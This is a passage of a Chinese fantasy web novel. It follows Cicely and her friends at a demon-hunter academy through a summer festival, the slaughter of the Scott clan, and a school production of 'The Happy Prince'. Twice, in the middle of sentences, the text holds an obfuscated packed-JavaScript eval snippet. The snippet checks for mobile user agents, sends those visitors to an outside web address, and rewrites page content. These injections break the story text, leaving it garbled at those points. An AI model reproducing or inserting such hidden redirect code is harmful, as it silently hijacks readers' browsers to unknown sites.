西塞莉在射击这方面似乎很有天赋，又在猎魔人学院经过了大半年的系统训练，她在远程攻击这方面的天赋于是更加突出，在枪术和弓箭上的成绩时常比世家出身的克里斯还要好上几分。 虽然模型枪和真枪完全不一样，但总归也是瞄准射击一个流程，西塞莉经过前两发试错后几乎是百发百中，装着水的气球纷纷破裂，在围观人群的阵阵惊呼中毫无悬念地拿下二等奖的超大号抱抱熊玩偶。 西塞莉将它塞进丹尼尔怀里。 “是、是给我的吗？！”丹尼尔的眼睛在灯光的映照下熠熠生辉。 “嗯。”西塞莉点了点头，说：“就算不去东区也有超大号玩偶的。” 丹尼尔眯起眼笑的样子像是只狡黠的猫。 接着是去甜品店吃东西。 猎魔人因为要进行大量训练和各种任务，吃饭的时间反而是少的，如果要在短时间内补充体力的话，高糖分高热量的食物肯定是首选，所以猎魔人基本都是甜党，并且，掏掏口袋十个猎魔人九个兜里都有巧克力和糖果。 也算另一种形式的反差吧。 “话说只有樱桃慕斯的味道还可以啊……”从店里出来，西塞莉有些失望地说。 “甜度太低了。”尼克点评。 “而且还很贵！”丹尼尔抱怨。 “唉——”西塞莉和丹尼尔异口同声。 尼克：“……又来了，奇怪的默契。” “我们分开走吧！”甜品店门口，西塞莉突然说。 “？！” 丹尼尔和尼克齐齐看着她。 “西塞莉……不想和我一起吗……？”男孩看上去很委屈，蓝眼睛可怜巴巴地看着她。 “不是啦！只是想对比一下我一个人逛的祭典和我和你们一起的有什么别。” “好吧……” 尼克说：“那在烟火秀开始前在托里斯大桥集合可以吗？” 西塞莉恍然：“！还是尼克想得比较周到。” 于是他们就分开了，并且约定在烟火绽放前在托里斯大桥集合。 一个人的祭典似乎也没什么不好的。 西塞莉啃着糖葫芦在街上转悠。 西塞莉拿起一个经典猫咪面具，看了几眼，有些新奇。但想起自己还在吃糖葫芦，戴了会很麻烦，又放下了。 西塞莉继续走着。 因为视线一直粘在街道两旁的摊位上，所以没怎么看路，然后就在一个岔路口，和人撞了个满怀。 那家伙衣服上似乎有什么金属饰品，把她脑袋硌得生疼。 她“嘶”了一声，下意识捂着脑门低头，看见脚边一个熟悉的面具——正是那个典中典的经典的猫咪面具。 “抱歉……” 西塞莉捂着额头抬脸，看见了一张意外熟悉的面孔。 男孩脸颊稚嫩而俊秀，漆黑的发与眼被温暖的灯光渡上一层漂亮的光，正有些呆愣地看着她。 ——是克里斯.斯科特。 “抱歉。”克里斯说。 “没关系。”西塞莉下意识回。 男孩抿了抿唇，捡起地上的面具与她擦身而过。 嗅到对方身上浅而冷的高级熏香时，西塞莉才猛然回神，有些难以置信地望着男孩远去的背影。 克里斯逛祭典…… 克里斯居然会逛祭典诶？ 他居然还戴着很可爱的猫咪面具？居然还会因为撞到人而道歉？ ……太不可思议了。 她可不信克里斯这家伙会因为意外而撞到人，就算面具可能会遮盖住一部分视线也不至于撞到人吧！ 据说斯科特对自己的眼睛都是十分宝贵的，这家伙大概也不太可能是近视…… 所以…… 他是和她一样，因为把注意力全 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周围人纷纷发出欢呼与赞叹，用来表达自己愉悦的心情，像是被周围人感染，她也欢呼着拥向身旁丹尼尔和尼克。 丹尼尔立马欢快的回抱住她，蓝眼睛在烟火的映照下愈发熠熠生辉，西塞莉听见他在自己耳边喊“好开心！！”于是同样笑着大声回了他一句“我也好开心！”。 尼克虽然一脸“你这家伙好麻烦啊我好想回宿舍睡觉”的厌倦模样，却还是任她搂着脖子往怀里按，甚至还很配合的往下压了压肩头，让她做这个动作时能更舒服。 烟火秀就在这个拥抱里结束了。 烟火秀过后，各个摊位也开始陆续收摊。 蹲在树林边，西塞莉把之前买的大大小小有用没用的小东西分给两人，表示是夏日祭礼物。 “谢谢！西塞莉对我最好了！”丹尼尔感动道。 “不客气！我们是朋友嘛！” “……这家伙分明只是想减轻负担吧？”尼克睁着死鱼眼吐槽。 “回去吧！”西塞莉拍了拍衣服并不存在的灰，很自然的忽略了尼克的话。 “好的！”丹尼尔亦然。 尼克：“……” 感觉被孤立了呢。 “明年……我们就不能一起过夏日祭了呢。”回去的路上，西塞莉突然这么说道。 “啊……啊？！”丹尼尔猛得停下脚步，转过头看她，不可置信道：“西塞莉？！” “西塞莉……是不想和我做朋友了么……？”他看上去简直简直要哭出来了，却还倔强又委屈地看着她：“……西塞莉，是想要、和我绝交么？” “是我，做错了什么吗……？” “……蠢货！”尼克抬手用力敲了敲他的脑袋，忍无可忍道：“如果今年过了夏日祭的话明年就不会过了啊喂！明年会过春日祭和秋日祭！！” 他揉了揉太阳穴：“……连这种常识都记不住么？你的脑袋里到底装的都是什么——” “西塞莉！”丹尼尔欢快地抢答道。 “我最喜欢西塞莉了！” “我也超喜欢丹尼尔的！” “……” “唔，也超喜欢尼克的！” “呜哇——西塞莉不许喜欢他！我才是西塞莉最好的朋友！” “……” 呵。 12. 雨日 每年的七月三日，全世界都会下雨，几千年来无一例外。 于是，每年的七月三日，又被称为‘雨日’。 ——休假一天。 只是一天而已，根本没有离开学院的必要，西塞莉独自待在宿舍里看书。 最新一卷的《第一魔法纪实录》中，勇者伊文成功杀掉了魔王，他们的勇者小队成了五大陆内人人赞颂的英雄，城池中央为他们立起塑像，王国的统治者给予他们奖励，这支由七名C级猎魔人和一名精灵的魔王讨伐队获得至高无上的奖赏。 新一年的夏日祭上，伊文鼓起勇气，打算向自己暗恋许久的精灵女主卡洛琳告白，结果当然是成功的。 因为作为隐世不出的精灵末裔，卡洛琳虽然在人类情感这方面有些大条，但好在勤奋好学，看了不少相关书架，在几年前就发觉了伊文对自己的心意，心态也逐渐从“怎么才能让这家伙不要喜欢让我”转变到“这家伙怎么还不告白啊”。 总之，是皆大欢喜的完美结局。 烟火下，两人相拥的场景格外浪漫。 西塞莉想，如果自己有了喜欢的人也要在烟火下向他告白。 但书籍翻到最后一页，赫然写着“未完待续”一行字。 居然还没有完结吗？可这明明已经是最好的结局了啊……！ 西塞莉皱眉沉思，难道是还要再画点日常？毕竟自从勇者小队出发后，日常这种东西就越来越少了，主角一行人时常是在绞杀恶魔和捉捕通缉犯的路上。 ……也很不错啦！ 但真的有比这个更好的结局了吗……？ 西塞莉合上漫画，看向窗外。 她书桌前的窗户正对着宿舍后的室外训练场。雨天，又是假期，自然没有人跑到哪儿训练，西塞莉有些失神地盯着被雨水浸湿后比往常颜色要更深一些的训练场，突然感觉很无聊。 到目前为止，她已经将宿舍里所有自己感兴趣的书都看完了，并且还没有写信叫老爸寄最近出的新书的打算，所以现在很无聊。 雨从昨天下午就开始下，并且越下越大，到了凌晨时又渐渐下了下来，成了现在这样的绵绵小雨。 望着明明是早晨却显得灰蒙蒙的天幕，西塞莉打算出去散散。 走出女生宿舍楼，隔了十几米的过道，就是男生宿舍楼，再同样隔了十几米的位置，就是图书馆。 西塞莉并不怎么到那里去，因为她其实除了上课时间和考试临近的时候几乎从来不关注学习这方面的内容，平常看看书也都是一些幻想冒险类的小说漫画。 再加上她的两个朋友——丹尼尔和尼克，也并不常去图书馆这种地方，他们待在西塞莉宿舍打《焚木之岛》的次数远超私下学习的次数。 而现在又是七月初，上一次月考才刚结束，以西塞莉的胜利为结尾，让她的心情好了不少。 放在从前，西塞莉是觉得不会因为拿第一名这种事而感到高兴的，甚至比不上在夏天喝了一瓶冰过的蓝莓味波子汽水所带来的愉悦感，因为她在从前的初级学院里次次都是霸榜第一，前几次还会高兴一点，到了后面已经把第一名当成理所当然归属自己的东西后反而没什么触动了。 但在进入猎魔人学院后，大概是因为有竞争才有成就感，每次在和克里斯的“名次抢夺战”获得胜利都会让她感到心情愉悦。 话说……猎魔人学院是不是在七月中旬的时候放暑假来着？ 那，岂不是很快就要迎来期末考了？ 呜哇——！比月考要更加郑重的考试即将到来！她应该…… ——不对，她应该去找丹尼尔的。 天啊！以丹尼尔那在中下游徘徊的成绩，被留级的概率也太大了吧！ 于是，西塞莉到了男生宿舍楼下。 和普通学校不同，猎魔人学院的校规少的可怜，总结下来也就那么几条： 1.不能杀人。 2.不能在没请假的情况下在留校期间外出和夜不归宿。 3.不能在除训练场以外的地方打架。 连“违禁品”这种东西都不存在，毕竟所谓的的“违禁品”也就是枪.械、毒.品这类东西。 枪械武器什么的学校武器库里有的是，拿了老师签字的申请书就能用。 ——话说，对于猎魔人来说，枪械不是违禁品，而是“必需品”吧？光西塞莉宿舍里就放了好几副，如果有不怕死的过来掀开她的制服裙，就会发现她大腿上绑了把被扎克利改良过的手枪…… 至于毒品……猎魔人学院的每月体检难道是摆设吗？ ……总之，学院里并没有“不允许进异性寝室”这项规定，不然帕西斯日假期的时候尼克也不会这么轻易地妥协。 但普通学院似乎是有这项规定的。 西塞莉犹豫片刻，还是放弃了直接进去的想法，因为在漫画里，未经邀请随意进入异性寝室似乎是要被喊变态的。 据尼克所说，男女宿舍楼的布局似乎差不多，那就…… 西塞莉照着自己脑子里的女生宿舍楼布局，开始算尼克当时告诉过自己的宿舍号。 尼克住在302还是307来着？ 似乎是302……？ 西塞莉试探着朝自己算出来的那间宿舍的窗户上丢了颗石子。 片刻之后，窗帘被拉开，露出克里斯那张黑白分明的俊秀面孔来。 西塞莉：“……” 好倒霉。 她看见对方皱着眉朝她歪了歪头，无声地问：‘做什么？’ ‘没什么。’西塞莉仰头朝他做口型。 学院里交过唇语，克里斯大概是看懂了，因为他很快就重新拉上了窗帘。 西塞莉因为上次月考赢过对方，所以对他的举动没多大反应，只是在心中暗自腹诽克里斯这家伙选的窗帘真是没有品味，这种黑漆漆的颜色简直丑死了。 不是302点话，那就是307咯。 她再次丢出石头，这次从被拉开的窗帘后出现的是尼克那头颜色偏红的褐色头发，他推开窗户，有些无可奈何看着她。 西塞莉朝他招招手，示意他下来，然后补充道：“把丹尼尔也一起带下来！” 她这次出声了，声音不算太大，但打开窗户尼克肯定能听清，因为他朝她比了个稍等的手势，然后重新关上窗户，离开了窗边。 西塞莉撑着伞在楼下等着，雨滴落在伞面上发出动听的声响，她只要微微 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她想，这可是期末诶，是重要的考试，平常月考之类的输给克里斯是输一小步，但如果在这次输掉就是输一大步。 所以，她绝对不能输给克里斯！！ 她可是官方（指观星塔）认证的救世主！怎么会输给克里斯这邪恶的家伙呢！！ 但就在西塞莉信心满满地迎接考试时，意外来临了。 考试前夕，西塞莉向来是要向克里斯下战书的，但那天，克里斯一下课就被老师叫走了。 看着老师脸上的焦急而慌张的神色，西塞莉顿住脚步，看着黑发男孩神色茫然地被对方拉走。 直到第一场考试结束也没回来。 “克里斯到底是怎么回事啊！”西塞莉语气抱怨，“他如果缺考了的话我赢得不就不够光明正大吗！搞得好像是因为他少考了一门我才能拿到第一一样！” “希望老师能给他补考机会吧。” 然后，第二场、第三场……直到考试全部结束，克里斯也没有出现。 西塞莉隐隐有些不妙的预感。 她的箱子被施了空间魔法和减重咒，因此离开学校时只提了一只棕色皮箱，显得格外轻松。 学校旁就是卡里城的魔法传送阵，西塞莉和丹尼尔、尼克三人排队去买传送票。 “我有些不妙的预感……”她将自己的感受说了出来。 “克里斯的事吗？”尼克问。 “嗯……”她点了点头又摇了摇头：“也不算吧……就是感觉克里斯缺席考试这件事很不正常。” “大概是家里有什么事吧？这种大家族的族长少爷，肯定事很多的。”丹尼尔无所谓道。 一语成谶，斯科特一族，真的出了事。 回到家，西塞莉从父亲嘴里得到了两个消息。 一个是坏消息，另一个，也是坏消息。 魔王的封印解除了。 还有，斯科特，被灭族了。 克里斯.斯科特，大概是世界上最后一个斯科特了。 13. 葬礼 斯科特被灭族的事情，实在是发生的太过突然。 斯科特一族，虽然近百年来逐渐衰落，但传承了近两千年的威望还在，并且在最近几年有兴起的趋势，这么下来重回巅峰也只是时间问题。 但他就这么……被灭族了？ “怎么回事？”西塞莉眉头皱的死紧，甚至怀疑是不是自己听错了。 艾维斯说了什么？ 灭族，嗯，还有魔王。 ……魔王？魔王！？ “你刚刚说——”她猛地抬头，“魔王的封印，解除了？！” “嗯。”艾维斯点了点头，表情看着很严肃，也难得显得沉默。 “……” 卡蜜拉沉默着递给她一份报纸。 西塞莉低头一看，是最新一期的猎魔人日报，头条标题赫然是《魔王封印解除？！‘天赋异禀的一族’斯科特之灭族惨案！》 【7月13日傍晚，那天正好是斯科特一族开族会的日子，全族齐聚，斯科特一族全族被灭，只有族长幼子克里斯.斯科特因在猎魔人学院就读而逃过一劫……】 【……勇者之剑异动，魔气大幅提升，恶魔大量疯魔化，据恶魔监狱中的人形恶魔称，魔王已从沉睡中苏醒……】 【……魔王封印已解，此乃示威！】 “……” “啊。” 西塞莉愣愣地“啊”了一声，依旧没有从巨大的冲击中反应过来。 魔王的封印解除了？ 魔王为什么被封印来着？啊，他想统治人类世界，然后被勇者帕西斯封印了，就在今年他们还在过帕西斯日来着，还打了《焚木之岛》呢…… 嗯，魔王的封印解开了，他干了什么？ 他为了示威，把斯科特一族给灭了。 他为什么把斯科特灭了？ 因为斯科特一族的某位祖先曾经是魔王讨伐军的一员，也是当初那群人里唯一一个流传下姓氏的…… 话说真的只是姓氏而已啊……！ 据西塞莉所知，当初的魔王讨伐军几乎全军覆没，包括当初那位斯科特族的祖先，也死在那里了，死前连血脉都没留下……话说这算迁怒吧？ 西塞莉又低头将报纸看了一遍，觉得有些不对劲。 “鸟巢”是个什么东西？佣兵组织？ 这个组织和魔族勾结把斯科特给灭族了，悬赏金已经高达100亿金币/人了，这都能买一座加兰帝国的二线城市了吧？但悬赏金额越大反而没人敢接，毕竟听说那个组织的成员人均实力S+级。 ……也是，虽然魔王的封印被解除了，但人魔两界的封印还在，就算经常出现裂缝导致恶魔流窜，但也不大可能一下子出现可以灭掉一个族群的恶魔而不被法师塔的监测法阵发觉，请个非法恐怖组织用来协助也很正常。 “……就这些了吗？”西塞莉问。 “啊。” “魔王就灭了族？没有其他动静了？” “啊。” “不要再‘啊’啦！” “啊。” “艾维斯.霍华德！” “啊。” “……” 我爸好像傻了。 —— ……总之，魔王除了把斯科特一族灭了外，没其他动静了，直到暑假结束，世界上除了少了一群姓斯科特的人，和原来没什么两样。 大家都在想，或许是魔王怕了，毕竟人类在一千多年前出过勇者帕西斯这种人物，他或许是怕再次被封印。 至于斯科特的灭族，大概是魔王不想显得自己太懦弱吧，毕竟魔王苏醒了所有恶魔都能感受到，如果一点反应也没有的话，也显得他太胆小了些，而恰好曾经仇人的家族还存活于事，且大不如从前，而且还有“恶魔之眼”“恶魔的后裔”这种称号，实在是有点侮辱敌人了。 这么看来，斯科特一族被灭还挺合理了，既刚好踩在人类的底线上，又恰好灭了魔王的火气，实在是被灭得刚刚好啊。 …… 期间，西塞莉被父母带着去参加了斯科特一族的葬礼。 一族的葬礼啊。 一整个族群，如今只剩下了克里斯一个人了。 克里斯和她同级，估计也不过只有十一二岁，身形单薄而瘦削，说是个孩子也不为过。 他身上穿着斯科特一族的黑色族服，版型和墨提斯一族的族服相比要更收紧一些，更加适合作战，毕竟斯科特是猎魔人世家而不是预言师世家。 斯科特一族的家徽是三眼砂闪蝶，这是一种很漂亮的蝴蝶，翅色鲜艳，鳞翅呈现出鲜亮的金属蓝色，翅膀上各有3个色彩鲜艳的眼圈纹，明亮而显眼。 西塞莉想这眼纹或许代表斯科特一族的‘恶魔之眼’。 而这只蝴蝶就被绣在克里斯黑色族服的背后，那只三眼砂闪蝶被绣得很大，看上去几乎像是他的翅膀了，鲜亮的金属蓝在这昏沉的阴雨天里格外亮眼。 西塞莉不知不觉盯着他背后蝶翅上的眼纹有些出神。 但克里斯被众人簇拥着，那色彩鲜艳的眼纹又很快从西塞莉的视野内消失。 —————— 8月下旬，新学期开始了。 似乎没什么不同，西塞莉走进教室的时候依旧是吵闹而喧嚣的。 《焚木之岛3》在暑假的时候就已经被西塞莉和丹尼尔打完了，他们正讨论着新游戏《安吉拉之契》。 “没想到居然是恋爱游戏呢！”西塞莉说。 丹尼尔：“对哦，但西塞莉时候在这方面并不擅长呢！只打出了一个HE呢！” 西塞莉：“恋爱是成年之后才能谈的吧？我不擅长这个很正常的。” 尼克：“……谁跟你说恋爱是要成年才能谈的？” 西塞莉理所当然的说：“我爸啊！” “……” 丹尼尔若无其事：“话说西塞莉最喜欢那个攻略对象啊？” 西塞莉：“拉斐尔吧，他拥有很罕见的治愈能力呢！其实路西菲尔也不错，他体术很厉害呢！而且黑色的头发也很漂亮！” 丹尼尔：“这样啊……” 西塞莉：“那丹尼尔最喜欢哪一个呢？” 丹尼尔：“我最喜欢米迦勒！你不觉得他的金色头发很漂亮吗？蓝眼睛也很好看吧？而且雷系魔法很厉害的！” 西塞莉点点头：“雷系魔法确实很厉害，我最擅长的也是雷系魔法呢！” 丹尼尔：“我也很擅长雷系魔法！！” 同样玩过的尼克提出自己的意见：“还是乌列尔比较好吧？他是最聪明的那一个吧？而且也是最适合女主的。 拉斐尔的胆子太小了，安抚起来很麻烦；路西菲尔的脾气又太高傲了，还很容易吃醋，而且很难哄； 米迦勒是那个金毛竹马吧？这种从小一起长大的彼此太过于熟悉，反而不太适合谈恋爱，女主又是那种比较外放的性格，和米迦勒性格有点撞了，比起恋人，他俩还是更适合当朋友。” “哇……！” 西塞莉目瞪口呆：“不愧是尼克……分析得很透彻呢！” 丹尼尔也叹道：“尼克很擅长恋爱嘛！” 西塞莉：“对哦！尼克在恋爱这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504999|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方面还蛮有天赋嘛！” 尼克：“……我没有。” 但这一切，直到克里斯到来时便都结束了。 克里斯一进来，教室里瞬间就寂静了，不明所以的西塞莉也跟着安静下来，她向前望去，看见了格外显眼的克里斯。 他并没有穿学院发放的统一的夏季制服，而是穿着他在葬礼上穿的那身背后绣着三眼砂闪蝶的斯科特族服。 虽然斯科特族服的黑色和学院制服的绀色颜色差距并不算大，但他背后绣着的蝴蝶有着在光下不断变幻闪光的金属蓝的鳞翅，和翅膀上色彩鲜艳的眼纹。 西塞莉觉得这种克里斯一进来就开始安静的行为很像小说和漫画里面的霸凌情节，但想来大家都不是故意的，大概是因为斯科特灭族的事情不知道该怎么面对他。 但一整个暑假、近两个月过去了，无论再如何悲伤也应该已经接受了吧？再这样区别对待的话反而会让对方想到自己被这么对待的原因，然后变得更加难过吧？ 这种情况也很好解决，只要有个人率先起个头就好了…… 虽然西塞莉并不太喜欢克里斯，但这是出于对竞争对手针锋相对的不喜欢，她还没有到会因为对方的不幸而感到愉悦的那种程度。 那是很变态的程度了吧？ 但就在西塞莉打算当这个起头人的时候，上课响了。 她愣了愣，还是没有说话。 她想，说不定克里斯也是想到了这个情况，所以才卡点到教室的。 果然，这个猜想是对的，因为克里斯在之后的几天里，不是第一个到教室，就是卡点最后一个到。 下课的时候也是这样，不是一直坐在桌前看书直到下一节课开始，就是下课铃一响就直接出教室，有的时候甚至比老师还要抢先一步。 直到八月末，月考临近的时候。 虽然才刚开学没多久，也没学什么新东西，甚至还因为要准备学园祭的活动，进度比平常要慢了不止一星半点，但还是要考的，为了防止某些同学把上个学期的东西忘干净了。 就比如丹尼尔，他已经郁闷了好半天了。 他上学期的期末考几乎是擦线过的，运气上其实是占了很大部分的。 为了不会考不及格，他只好垂着脑袋开始背上个学期的重点知识“非人形恶魔穴位大全”——经过一个暑假的狂欢，这些东西他已经全部忘记了。 西塞莉的记忆也有些模糊了，但因为没有带上学期的课本，只好凑到丹尼尔旁边和他看同一本书。 非人形恶魔长得特别丑，肢体扭曲，皮肤溃烂，眼球突出，鳞片外翻，牙齿外露。 西塞莉在看到课本前就已经对它很熟悉的，因为大多数漫画里的怪物和恶魔的形象都是这样没有人样的丑八怪。 在快速重新熟悉那些乱七八糟器官与穴位的名称后，西塞莉飞快地回了原地，不想去看那些丑得惨绝人寰的怪物。 临近放学，西塞莉犹豫了一下，还是起身慢悠悠晃到沉默着收拾书本的克里斯桌前，她像之前每次‘下战书’那样屈指敲了敲他的桌面，发出两声清脆的敲击声，语气如常：“我会考第一名的。” 她顿了顿，又说：“但你也不要灰心，要加油哦。” 当时虽然临近放学，但大多数人都在收拾东西，所以依旧有不少学生，大家都诧异的望向他们，然后又在克里斯冰冷的一瞥中纷纷收回视线。 “嗯。” 浓密乌黑的睫毛在眼睑打下一片阴影，他第一次应了她下的战书，语气很冷淡，却有种锋芒毕露的意味：“第一名，是我的。” 14. 学院祭 因为克里斯那一句“第一名是我的”，西塞莉顿时警铃大作，又回去把书多翻了两遍，确保自己明天绝对不会失误后才安心入睡。 ……第一名，确实是他的。 西塞莉和克里斯再一次考了同分，但又因为克里斯（Chris）和西塞莉（Cicely）的字母顺序而被排到第二。 西塞莉感到不太高兴。 如果他们两个名字的首字母并不都是“C”的话她可能还会好受点，偏偏是第二个字母，还只差了一个次序…… 就很不甘心。 但很快有新的东西分走了她的注意力。 从这周开始，整个学校都进入了学院祭准备期，每个班级都要确定好节目交给老师，S班在月考前的班会上，就已经决定是话剧了，但却在选《夜莺和玫瑰》还是《快乐王子》上犯了难。 “反正都是王尔德写的，又那么难选吗……”尼克抱怨道。 丹尼尔文明：“西塞莉更喜欢哪一个？” 西塞莉想了想，回答：“夜莺和玫瑰吧？” 尼克：“为什么是疑问句。” 西塞莉：“因为我也很喜欢快乐王子，不知道该选哪一个嘛！尼克更喜欢哪一个？” 尼克反问：“你觉得我是那种喜欢童话书的家伙？” 西塞莉不高兴道：“喜欢童话书怎么了？我和丹尼尔都很喜欢童话书的！” 尼克：“我不是那个意思……我的意思是、我很喜欢《小王子》。” 丹尼尔嘟囔：“这不也是本儿童文学嘛！” 尼克惊奇：“你居然知道《小王子》属于儿童文学？” 丹尼尔骄傲道：“因为这本书是卡蜜拉阿姨拿给我们看的嘛！她从来不赞成艾维斯叔叔给我们看那些乱七八糟的书，认为小孩子就应该看这个年纪的小孩子该看的书，不然等年纪过了就看不进去了。” “有道理……” 最终，学院祭的节目决定为话剧《快乐王子》。 然后，是抽签决定角色。 “我的运气可是一向很好的，创世神在上，请让我抽到快乐王子……”西塞莉念叨着，将手伸进了纸盒中。 嗯，是燕子。 “也很不错嘛。” 反正这个故事的主要角色好像就只有快乐王子和燕子两个。 然后是西塞莉身后的丹尼尔，他一边低声念叨着“西塞莉在上，保佑我抽到快乐王子”一边将手放进抽签箱内。 尼克无语道：“她自己都没抽到快乐王子，怎么保佑你啊——” 然后被丹尼尔的一声惊呼打断：“我抽到了！” 他举起手中写着“The Happy Prince”的纸张，惊喜道：“西塞莉果然是我的幸运女神！！” 西塞莉目瞪口呆：“难道创世神还比不上我自己吗……” 尼克：“……是巧合吧。” 周围的同学也纷纷议论着：“哇！求西塞莉居然比创世神还有用，我待会儿也要求西塞莉！” “傻瓜！主要角色都被抽走了，你再求有什么用？也只能当个龙套角色了。” “那也比当背景板要好啊。”某扮演树的同学叹道。 “到你了尼克！记得拜托我哦！”西塞莉推了他一把。 ……主角都被抽走了拜托你有什么用。 “嗯……西塞莉在上，保佑我抽到快乐王子……”他肉眼可见的敷衍道。 丹尼尔：“可恶！尼克你这家伙在说什么啊！快乐王子明明已经是我的了啊！！” 尼克没理他，低头看着自己手中展开的纸张。 “是什么？”西塞莉好奇地凑上去。 尼克将纸张往她的方向倾了倾，说：“……旁白。” 西塞莉眨眨眼：“诶，旁白吗？很适合尼克呢！” 旁白确实是很适合尼克的职位了。 他向来不喜欢太过于引人注目，也不像同龄男孩那样爱出风头，这种偏幕后的任务很适合他了。 总之，月考结束后，学院祭便如火如荼的开始准备了。 节目决定的第二天，西塞莉他们就收到了改版后的《快乐王子》剧本。 ——但其实只需要西塞莉和丹尼尔两人需要认真看就是了，毕竟这个故事里的主要角色也就只有快乐王子和小燕子两个。 但这个故事并不是只需要他们两个，还有其他角色。 “真的要我对克里斯说那么恶心的台词吗……”西塞莉看看剧本，又看了看不远处的克里斯，觉得让自己对他说这种话还是太超过了。 丹尼尔凑过来看了看她手中的剧本，不禁露出了羡慕的神情：“我也好想当芦苇啊。” 普通的芦苇当然不会让丹尼尔露出这样的神情，但这可不是普通的芦苇！这可是会被西塞莉求爱的芦苇！！ “芦苇那样快乐王子好？”她疑惑道：“快乐王子可是主角诶，芦苇甚至没有一句台词。” 故事中的芦苇并不会说话，出场时间也很短，西塞莉也只有那么两句台词需要跟他讲。 丹尼尔低头翻了两页自己的剧本，觉得还是快乐王子更好些，他甚至可以在尾声得到一个吻，虽然是在脸颊上。 他不禁偷偷去看西塞莉，却发现她即使看到那一段也没什么太大反应。 她对亲吻他没有什么多余的想法吗？ 丹尼尔对这个突然冒出来的，似乎带着些许哀怨委屈的想法感到有些茫然： 小时候他们也偶尔会互相亲吻彼此的脸颊，西塞莉也吻过苏菲亚和玛蒂尔达的脸颊，这在关系要好的朋友之间似乎很正常。 虽然只是随着年龄的增长，这样的行为也已经不大频繁了，但也不应该会它产生什么多余的想法才对，毕竟那只是一个很普通的脸颊吻。 至少在他们之间，这是司空见惯的东西。 所以，为什么会产生这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505000|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪呢？ 丹尼尔感到有些茫然，但很快又想通了：大概是因为西塞莉对他很重要吧！ 因为西塞莉对他很重要，所以他才想处处关照她的情绪，但因为西塞莉没有表现出需要他关照的地方，所以他会觉得自己对她来说是没有用处，自然会感受到失落。 这都是因为，他们是最好的朋友啊！！ 九月九日和九月十日是学院祭，和教师节连在一起，放假两天。 西塞莉的戏服是一件前长后短的黑色燕尾裙，上面用银线绣着燕子展翅的样子，是艾维斯赞助定制的，很合身，再加上黑色的发与眼和过于白皙透亮的皮肤，她看上去像是只有唇和泪痣点了红的黑白画。 丹尼尔的衣服则是精致而华美的皇室礼服，拿了把镶红宝石的漂亮长剑，脸上涂了金漆。 “待会儿它们就会被我送给其他人了。”西塞莉抚摸着他胸口的蓝宝石胸针，说。 “还会有我一个呢。”苏菲亚说，她棕色的头发被梳到脑后扎起，穿一身灰扑扑的衣服。她扮演的是一个饥寒交迫的作家。 小半年过去，她跟玛蒂尔达的关系缓和了不少。 也是，她俩总共也没跟克里斯讲过几句话，这种单方面的喜欢大概率是持续不了太久的，何况她们已经认识了五年多，习惯了身边有彼此的存在，分开也会感到不适应，和好是迟早的事。 “我也有！”说曹操曹操到，玛蒂尔达穿着破破烂烂的衣服出现，揽住了西塞莉的肩膀，她深褐色的头发也乱糟糟的，扮演一个卖火柴的小女孩。 “唔，要把剑上的红宝石和眼睛都摘下来呢。”西塞莉歪头打量丹尼尔的蓝眼睛，她手上正把玩着两颗蓝宝石——那就是快乐王子的蓝宝石眼珠了。 她抬起手，将丹尼尔的眼和指尖捏着的宝石做比较：“居然感觉丹尼尔眼睛要更漂亮些呢……！” “西、西塞莉的眼睛也很漂亮！” 西塞莉眨了眨眼，放下手：“谢谢啦！” 舞台后台的灯光下，她的眼睛呈现出很漂亮的绿色——西塞莉的眼睛只有在室内自然光下才呈现出纯黑，她的眼睛像是被黑色琉璃包裹着的绿宝石，平常不显山露水，但只要对着灯光便能透出内里宝石炫目的光彩。 西塞莉看见丹尼尔的脸有些红，她愣了愣，刚想问他为什么脸红，就看到了他礼服领口在光线下反着光的暗纹刺绣，意识到他其实穿了一整套宫廷礼服。 九月初的气温还是很高的，穿成这样是该感到热的。 她仔细感受了下，觉得幕后的温度确实有些太高了，于是提议：“我们出去看看吧。” “啊、嗯，好的。”丹尼尔看上去在走神。 一点是被热得集中不了精神了吧！ 她怜爱地想。 丹尼尔就是这样，因为太懂事了所以什么都不说，不过没关系，她会看出来的。 毕竟，他们可是最好的朋友啊！ 15. 爱在图书馆 几天来的排练不是白费的，即使是对着克里斯说“我可以爱你吗？”这种台词西塞莉也可以面不改色。 表演结束后，丹尼尔却显得有些闷闷不乐： “如果我是快乐王子的话，我一定会让小燕子去埃及的——话说埃及是什么地方？” “是上个纪元的某个古老国家。”尼克说，“现在的肯瑟大陆南部还留有一些它的遗址。” 丹尼尔默了默：“是很温暖的地方吧？如果小燕子到了那儿就不会被冻死了吧？” “嗯。” “上个纪元啊……”西塞莉叹道。“王尔德也是上纪元的作家吧？也不知道上纪元究竟是什么样的。” “不知道，记载太少了。”尼克说，“但上纪元的人类应该是没有魔法和天赋的，他们的世界好像也没有恶魔。” “而且据说他们当时有七大陆。” 丹尼尔：“欸！比我们还要多上两块呢！” 尼克：“但我们五大陆的面积几乎是上纪元的两倍。” 西塞莉：“我之前也看过一些讲上纪元的书，但都写乱七八糟的，像野史。” 尼克：“啊，我记得有一本叫《旧人类百科》的书上写上纪元的人类都是脆皮巧克力做的。” 